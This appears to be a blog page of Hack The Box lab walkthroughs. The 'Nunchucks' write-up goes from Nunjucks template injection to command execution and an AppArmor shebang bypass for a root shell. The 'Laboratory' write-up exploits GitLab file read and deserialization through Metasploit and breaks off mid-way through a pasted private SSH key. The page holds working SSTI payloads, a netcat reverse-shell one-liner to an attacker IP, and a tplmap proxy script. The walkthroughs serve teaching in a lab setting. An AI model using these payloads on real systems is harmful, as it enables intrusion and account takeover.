Protected: htb-late-private

This content is password protected. To view it please enter your password below:

Posted on

htb-nunchucks

October’s UHC qualifying box, Nunchucks, starts with a template injection vulnerability in an Express JavaScript application. There are a lot of templating engines that Express can use, but this one is using Nunchucks. After getting a shell, there’s what looks like a simple GTFObins privesc, as the Perl binary has the setuid capability. However, AppArmor is blocking the simple exploitation, and will need to be bypassed to get a root shell.

Box Stats

Recon

nmap

nmap found three open TCP ports, SSH (22), HTTP (80), and HTTPS (443):

┌─[puck@parrot-lt]─[~/htb/nunchucks]
└──╼ $nmap -sC -sV 10.10.11.122 -oN allports.nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-15 15:25 CEST
Nmap scan report for nunchucks.htb (10.10.11.122)
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg: 
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
| tls-alpn: 
|_ http/1.1
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.79 seconds
┌─[puck@parrot-lt]─[~/htb/nunchucks]
└──╼ $

Based on the OpenSSH version, the host is likely running Ubuntu 20.04 Focal.

The site on 80 redirects to https://nunchucks.htb, and the certificate on 443 also gives the same domain. I’ll add it to my /etc/hosts file.

VHost Fuzz

Given the use of domain names, I’ll start wfuzz looking for potential subdomains. Running quickly without a filter shows that the default is 30587 bytes long, so I’ll add --hh 30587 to the arguments and run again:

puck@parrot-lt$ wfuzz -H "Host: FUZZ.nunchucks.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 30587 https://nunchucks.htb 
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://nunchucks.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000081:   200        101 L    259 W      4028 Ch     "store"

Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0

It finds store.nunchucks.htb, which I’ll add to /etc/hosts as well:

10.10.11.122 nunchucks.htb store.nunchucks.htb

nunchucks.htb – TCP 443

Site

The page is for an online marketplace:

image-20211022135306770

There is an email at the bottom, support@nunchucks.htb.

There are links to Log In and Sign up:

image-20211022140116492

I didn’t have any luck bypassing the login, and when I tried to sign up:

 Tech Stack

Looking at the HTTP response headers, the server is running Express, a JavaScript framework:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 22 Oct 2021 18:01:56 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
ETag: W/"777d-t5xzWgv1iuRI5aJo57wYpq8tm5A"
Content-Length: 30589

Directory Brute Force

I’ll run feroxbuster against the site:

puck@parrot-lt$ feroxbuster -u https://nunchucks.htb -k

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://nunchucks.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
WLD        3l        6w       45c Got 200 for https://nunchucks.htb/56132a60d50a44e8a652348a707d35e1 (url length: 32)
WLD         -         -         - Wildcard response is static; auto-filtering 45 responses; toggle this behavior by using --dont-filter
WLD        3l        6w       45c Got 200 for https://nunchucks.htb/49243936a43a4aae8c5c1f8feb994d1f0d38fc33cdd3433f9073ea6ac78f04eedf7c7330230340c7855df648a1940155 (url length: 96)
200      183l      662w     9172c https://nunchucks.htb/login
301       10l       16w      179c https://nunchucks.htb/assets
200      183l      662w     9172c https://nunchucks.htb/Login
301       10l       16w      193c https://nunchucks.htb/assets/images
301       10l       16w      185c https://nunchucks.htb/assets/js
301       10l       16w      187c https://nunchucks.htb/assets/css
200      250l     1863w    19134c https://nunchucks.htb/privacy
200      187l      683w     9488c https://nunchucks.htb/signup
200      245l     1737w    17753c https://nunchucks.htb/terms
301       10l       16w      179c https://nunchucks.htb/Assets
301       10l       16w      193c https://nunchucks.htb/Assets/images
301       10l       16w      185c https://nunchucks.htb/Assets/js
301       10l       16w      187c https://nunchucks.htb/Assets/css
200      250l     1863w    19134c https://nunchucks.htb/Privacy
200      245l     1737w    17753c https://nunchucks.htb/Terms
200      187l      683w     9488c https://nunchucks.htb/Signup
200      187l      683w     9488c https://nunchucks.htb/SignUp
200      183l      662w     9172c https://nunchucks.htb/LOGIN
[####################] - 3m    269991/269991  0s      found:20      errors:0      
[####################] - 2m     30001/29999   188/s   https://nunchucks.htb
[####################] - 2m     29999/29999   166/s   https://nunchucks.htb/assets
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/assets/images
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/assets/js
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/assets/css
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/Assets
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/Assets/images
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/Assets/js
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/Assets/css

Looking through these links, nothing interesting jumped out that I hadn’t looked at already.

store.nunchucks.htb

This site is for a coming soon store:

 

If I enter an email address, there’s a message:

 

Shell as david

Identify SSTI / SSJSI

After wasting some time trying to get the server to connect to me, I tried a server-side template injection payload:

image-20211022141409231

It worked! {{7*7}} became 49.

RCE POC

In Googling around to understand what templating engine Express uses, it turns out it supports a lot! But one on the list jumped out:

 

When it matches the box name, that’s a good hint! Googling for “nunchucks template injection” led to this post. It shows how to build different payloads, but the last one is the most interesting as it shows code execution:

{"email":
"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}@htb.htb"}

I’ll add backslashes to escape the double quotes, and add that payload to my Repeater window. It gets /etc/passwd:

 

The code execution is happening as the david user (when given id as the command):

 

OS Exploration

I could go right for a reverse shell,

{"email":
"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 6363 >/tmp/f')\")()}}@htb.htb"}

but I might check if I can grab user.txt first.

Running ls -l /home shows only one user, david:

image-20211022143025654

user.txt is in that directory:

image-20211022143101840

And I can grab it:

image-20211022143201046

SSH Key

To get a shell, I’ll write my SSH key into /home/david/.ssh/authorized_keys. First create the directory:

{"email":"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('mkdir /home/david/.ssh')\")()}}@htb.htb"}

Now add my public key:

{"email":"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmc2jjDKyd+vzFF+iKyFsoRditbvBnnaH1XUKHy2+RgcCXTn6xviLPJb+FJ4FZgua28nBhyLwgvRox4uBYcZLAIUs+y1A/qwFinFzd5W+RTeESxjANo/YFkdlT+ZEBN7x/d1ZUR1gbPQCWOW/eTyIQGR0IGhEj1MTeE6+u9LA/5OZFYhqfvYd6MElJWbYLgb3KnryPrin3F4T7oRTve1U5Wisht67Ep1KZSeQEtFlkxw+70Xws67O6AcE87ccK74YWD9MfH8jcE5nxDUDodtNHY4oCh7UC8Btj6HzedBGulzvAoLVK6bBEa52BdjKempoTrWAxgMd5v1sb0o+2CggGmaE4T3HIRWac0oUgQ23ANpEUCAkKaOLhdpAcrGGlAvqQCsgfhSOuyoeAJyZu2wjCVJYAnAYcsXgxA2NVep4MQ/jSRyEbX5rjtz6F+WEdIQBUQhzRSFwWLt4pr4OwMjSsQwGhUAS4pblpFCix2+29OxZ0/Z+vHeOqpJxkWFyg8C0= puck@parrot-lt > /home/david/.ssh/authorized_keys')\")()}}@htb.htb"}

Next set the permissions to 600:

{"email":"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('chmod 600 /home/david/.ssh/authorized_keys')\")()}}@htb.htb"}

And now I can connect over SSH:

┌─[puck@parrot-lt]─[~/htb/nunchucks]
└──╼ $ssh david@10.10.11.122
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-86-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Fri 15 Apr 13:34:45 UTC 2022

System load: 0.0
Usage of /: 48.9% of 6.82GB
Memory usage: 51%
Swap usage: 0%
Processes: 227
Users logged in: 1
IPv4 address for ens160: 10.10.11.122
IPv6 address for ens160: dead:beef::250:56ff:feb9:2759


10 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Apr 15 12:41:34 2022 from 10.10.14.6
david@nunchucks:~$ 

Shell as root

Enumeration

There’s no obvious sudo abilities or interesting SetUID/SetGID binaries.

There is an interesting file in /opt:

david@nunchucks:/opt$ ls -l
total 8
-rwxr-xr-x 1 root root  838 Sep  1 12:53 backup.pl
drwxr-xr-x 2 root root 4096 Sep 26 01:18 web_backups

This file is doing a backup of the web directories into /opt/web_backsup:

#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid); 
POSIX::setuid(0); 

my $tmpdir        = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";

sub printlog
{
    print "[", strftime("%D %T", localtime), "] $_[0]\n";
}

sub archive
{
    printlog "Archiving...";
    system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
    printlog "Backup complete in $tmpbdir/backup_$now.tar";
}

if ($> != 0) {
    die "You must run this script as root.\n";
}

printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";

But since only root can write to /opt/web_backups, it’s using POSIX::setuid(0) to run as root.

To do this, it must either be SUID or have a capability. It has the setuid capability:

$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
$
$ which python
$ export TERM=xterm
$ SHELL=/bin/bash script -q /dev/null
david@nunchucks:~$ 




AppArmor

GTFOBins Failure

There’s an entry for this on GTFObins. I’ll just use the one liner from there:

david@nunchucks:~$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
david@nunchucks:~$ 

For some reason it doesn’t return a root shell.

If I try whoami, it does return root:

david@nunchucks:/etc/apparmor.d$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root

If I create a simple script in /tmp:

david@nunchucks:/tmp$ echo '#!/usr/bin/perl ' >> p.pl
echo '#!/usr/bin/perl ' >> p.pl
david@nunchucks:/tmp$ echo 'use POSIX qw(strftime);' >> p.pl
echo 'use POSIX qw(strftime);' >> p.pl
david@nunchucks:/tmp$ echo 'use POSIX qw(setuid);' >> p.pl
echo 'use POSIX qw(setuid);' >> p.pl
david@nunchucks:/tmp$ echo 'POSIX::setuid(0);' >> p.pl
echo 'POSIX::setuid(0);' >> p.pl
david@nunchucks:/tmp$ echo 'exec "/bin/sh"' >> p.pl
echo 'exec "/bin/sh"' >> p.pl
david@nunchucks:/tmp$ 

When I try to pass it to perl, it gets an accessed denied:

david@nunchucks:/tmp$ perl a.pl 
Can't open perl script "a.pl": Permission denied

AppArmor Config

Apparmor is a way to define access controls much more granularly to various binaries in Linux. There are a series of binary-specific profiles in /etc/apparmor.d:

david@nunchucks:/etc/apparmor.d$ ls
abstractions  disable  force-complain  local  lsb_release  nvidia_modprobe  sbin.dhclient  tunables  usr.bin.man  usr.bin.perl  usr.sbin.ippusbxd  usr.sbin.mysqld  usr.sbin.rsyslogd  usr.sbin.tcpdump

There is one for usr.bin.perl:

david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl 
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>

/usr/bin/perl {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/perl>

  capability setuid,

  deny owner /etc/nsswitch.conf r,
  deny /root/* rwx,
  deny /etc/shadow rwx,

  /usr/bin/id mrix,
  /usr/bin/ls mrix,
  /usr/bin/cat mrix,
  /usr/bin/whoami mrix,
  /opt/backup.pl mrix,
  owner /home/ r,
  owner /home/david/ r,

}

It’s allowed to have seduid, but it’s not allowed to access /root/*, and it’s only allowed to access a handful of files.

This config basically says it can only run a handful of binaries and the script in /opt. It explicitly denies access to /root and /etc/shadow.

Bypass

This bug posted to the AppArmor devs shows that while AppArmor will protect a script run with the binary, it won’t have any impact when Perl is invoked via the SheBang.

There’s two common ways to start a script on Linux. The first is to call the interpreter (bash, python, perl) and then give it the script as an argument. This method will apply AppArmor protections as expected.

The other is using a Shebang (#!) and setting the script itself to executable. When Linux tries to load the script as executable, that line tells it what interpreter to use. For some reason, the AppArmor developers don’t believe that the rules for the interpreter should apply there, and so they don’t.

That means if I just run ./a.pl, it works:

david@nunchucks:/tmp$ ./p.pl 
# bash
root@nunchucks:/tmp#

Now I can grab the flag:

# ls
node_modules root.txt
# hostnamectl
Static hostname: nunchucks
Icon name: computer-vm
Chassis: vm
Machine ID: da69e4a5fca6456a8f343eb1ce0bebe0
Boot ID: 25aa349cee9d4539ba5bae4e24b02390
Virtualization: vmware
Operating System: Ubuntu 20.04.3 LTS
Kernel: Linux 5.4.0-86-generic
Architecture: x86-64
#

.

Beyond root : tplmap https://github.com/epinna/tplmap

Unfortunately, there is no such option in tplmap for sending a request in JSON format. Therefore, I created a simple middleware using Flask which acts as a middleman/proxy that will takes the non-JSON request and convert it before forwarding the request to store.nunchucks.htb. Here’s the code:

┌─[puck@parrot-lt]─[~/htb/nunchucks]
└──╼ $cat nunchucks.py 
from flask import Flask
from flask import request
from urllib.parse import unquote
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

app = Flask(__name__)

@app.route('/')
def index():
data = {
"email": unquote((request.args.get("email")))
}
req_to_nunchucks = requests.post("https://store.nunchucks.htb/api/submit",json=data,verify=False)
return req_to_nunchucks.text


app.run(host='0.0.0.0', port=80)

┌─[puck@parrot-lt]─[~/htb/nunchucks]
└──╼ $

https://github.com/puckiestyle/tplmap/blob/master/nunchucks.py

.

┌─[✗]─[puck@parrot-lt]─[~/htb/nunchucks]
└──╼ $sudo python3 nunchucks.py 
[sudo] password for puck: 
* Serving Flask app "nunchucks" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
* Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
127.0.0.1 - - [20/Apr/2022 12:10:35] "GET /?email=%7B6909880312%7D%7B79%7D%7B%2A47%2A%7D%7B16%7D%7B8209129805%7D HTTP/1.1" 200 -
127.0.0.1 - - [20/Apr/2022 12:10:36] "GET /?email=%7B79%7D%7B%2A47%2A%7D%7B16%7D HTTP/1.1" 200 -
127.0.0.1 - - [20/Apr/2022 12:10:36] "GET /?email=%7Bphp%7D%24d%3D%22VHJ1ZQ%3D%3D%22%3Beval%28%22return+%28%22+.+base64_decode%28str_pad%28strtr%28%24d%2C+%27-_%27%2C+%27%2B%2F%27%29%2C+strlen%28%24d%29%254%2C%27%3D%27%2CSTR_PAD_RIGHT%29%29+.+%22%29+%26%26+sleep%2824%29%3B%22%29%3B%7B%2Fphp%7D HTTP/1.1" 200 -
127.0.0.1 - - [20/Apr/2022 12:10:37] "GET /?email=%24%7B7356083100%7D%24%7B%270G%27.join%28%27pu%27%29%7D%24%7B6633923401%7D HTTP/1.1" 200 -
127.0.0.1 - - [20/Apr/2022 12:10:37] "GET /?email=%24%7B%270G%27.join%28%27pu%27%29%7D

.

 

┌─[puck@parrot-lt]─[/opt/tplmap]
└──╼ $./tplmap.py -u 'http://127.0.0.1/?email=puck@htb' --engine Nunjucks --os-shell
Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool

Testing if GET parameter 'email' is injectable
Nunjucks plugin is testing rendering with tag '{{*}}'
Nunjucks plugin has confirmed injection with tag '{{*}}'
Tplmap identified the following injection point:

GET parameter: email
Engine: Nunjucks
Injection: {{*}}
Context: text
OS: linux
Technique: render
Capabilities:

Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, javascript code

Run commands on the operating system.
linux $ id
uid=1000(david) gid=1000(david) groups=1000(david)

linux $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 6363 >/tmp/f

.

┌─[✗]─[puck@parrot-lt]─[~/htb/nunchucks]
└──╼ $nc -nlvp 6363
listening on [any] 6363 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.122] 59542
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(david) gid=1000(david) groups=1000(david)
$ SHELL=/bin/bash script -q /dev/null
david@nunchucks:/var/www/store.nunchucks$

.

 

htb-laboratory

Hack the Box — Laboratory

Reconnaissance

Run an nmap scan that scans all ports.

nmap -sC -sV -p- -oN allports 10.10.10.216

We get the following result.

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
|   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
| tls-alpn: 
|_  http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have three ports open.

  • Port 22: running OpenSSH 8.2p1
  • Port 80: running Apache httpd 2.4.41
  • Port 443: running Apache httpd 2.4.41

Before we move on to enumeration, let’s make some mental notes about the scan results.

  • The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.
  • Ports 80 & 443 are running web servers. We see that port 80 redirects to port 443. The nmap scan also leaks the hostnames laboratory.htb and git.laboratory.htb. We’ll have to add them to our hosts file. Other than that, since port 80 redirects to port 443, we’ll perform our standard HTTP enumeration techniques on port 443.

Enumeration

Add the hostnames to the /etc/hosts.

10.10.10.216    laboratory.htb git.laboratory.htb

Visit the application in the browser.

View the page source. We don’t find anything useful.

Next, visit the other hostname we found.

This leads us to a Gitlab page which has both a Sign In and Register page. Since brute-force attacks are noisy, I only preform them as a last resort. Therefore, before we try to brute force valid user credentials on Gitlab, we’ll register an account and see if we can get anywhere with that.

Click Register. We get an error saying that the email domain is not authorized for sign up.

Since the application is hosted on the domain laboratory.htb, let’s see if it accepts that domain for emails: rkhal101@laboratory.htb.

We’re in! Clicking on Projects > Explore Projects. We see that there is a project called SecureWebsite.

Reviewing the code of the project, we don’t find anything useful that could possibly give us remote code execution.

Next, let’s check the GitLab version to see if it is associated to any known vulnerabilities. To check the version, click on the question mark drop down menu and select Help.

This tells us that the Gitlab version used is 12.8.1.

Update searchsploit and do a search on GitLab.

searchsploit -u
searchsploit gitlab

We see that version 12.9.0 (larger than our version) is vulnerable to an authenticated arbitrary file read. What that means is that it allows us to read files on the system with the permission that Gitlab is running as.

An arbitrary file read vulnerability on its own does not give us an RCE. Therefore, I did a bit of research about the vulnerability and found this page that turns the arbitrary file read into remote code execution.

The way the exploit works is that it first uses the arbitrary file read vulnerability to extract the Rails “secret_key_base” value. This is then used to sign an “experimentation_subject_id” cookie that GitLab uses internally for A/B testing. The cookie itself is vulnerable to a deserialization vulnerability, therefore, with a bit of manipulation, it can be used to gain code execution.

Initial Foothold

The bug report does provide the set of commands used to gain code execution,

GitHub – thewhiteh4t/cve-2020-10977: GitLab 12.9.0 Arbitrary File Read

┌─[puck@parrot-lt]─[~/htb/laboratory]
└──╼ $python cve_2020_10977.py https://git.laboratory.htb puck 12345678
----------------------------------
--- CVE-2020-10977 ---------------
--- GitLab Arbitrary File Read ---
--- 12.9.0 & Below ---------------
----------------------------------

[>] Found By : vakzz [ https://hackerone.com/reports/827052 ]
[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]

[+] Target : https://git.laboratory.htb
[+] Username : puck
[+] Password : 12345678
[+] Project Names : ProjectOne, ProjectTwo

[!] Trying to Login...
[+] Login Successful!
[!] Creating ProjectOne...
[+] ProjectOne Created Successfully!
[!] Creating ProjectTwo...
[+] ProjectTwo Created Successfully!
[>] Absolute Path to File : /etc/os-release
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : https://git.laboratory.htb/puck/ProjectTwo/uploads/477df9d0a2bda765e2f03d3543c8d09a/os-release

> /etc/os-release
----------------------------------------

NAME="Ubuntu"
VERSION="16.04.6 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.6 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

----------------------------------------

[>] Absolute Path to File :

however, there is also a Metasploit module that exploits this vulnerability. We’ll be using the Metasploit module to run our attack.

Start msfconsole and run the following commands to configure the exploit options.

use exploit/multi/http/gitlab_file_read_rce
show options
set PASSWORD "Password1!"
set RHOSTS git.laboratory.htb
set RPORT 443
set SSL true
set USERNAME rkhal101
set LHOST tun0
set LPORT 4444
set VHOST git.laboratory.htb
exploit

We get a shell!

Run the shell command to see if we can get an interactive shell.

shell

It seems that we’re running with a very limited shell. We can run Gitlab rails console on this box, so we’ll use that to reset Dexter’s password. This is the user that committed the application we saw in the project list. The user’s email can be obtained by hovering over the user’s username.

dexter@laboratory.htb

We’ll try to use that email to reset the user’s password. We’ll run the following commands to reset the user’s password.

First, start a Ruby on Rails console.

gitlab-rails console -e production

This will take about a minute to load. Next, find the Dexter user using his email.

user = User.find_by(email: 'dexter@laboratory.htb')

This gives us a nil output saying it didn’t find the user (it’s possible that the user is not registered under that email). So let’s try the other command listed in the link.

user = User.where(id: 1).first

This works. We get the following output stating that the user’s username is dexter.

user = User.where(id: 1).firstirb(main):002:0> user = User.where(id: 1).first
user = User.where(id: 1).first
=> #<User id:1 @dexter>

Next, change the user’s password and save the changes.

user.password = 'secret_pass'
user.password_confirmation = 'secret_pass'
user.save!

Now we should be able to log into Dexter’s account on Gitlab with the username “dexter” and the password “secret_pass”.

Looking at the projects under Dexter’s account, we see another project called SecureDocker.

Looking through the code of the project, we find an SSH private key!

Copy and paste the private key into a file called id_rsa on the attack machine and restrict the permissions on the file.

┌─[puck@parrot-lt]─[~/htb/laboratory]
└──╼ $cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
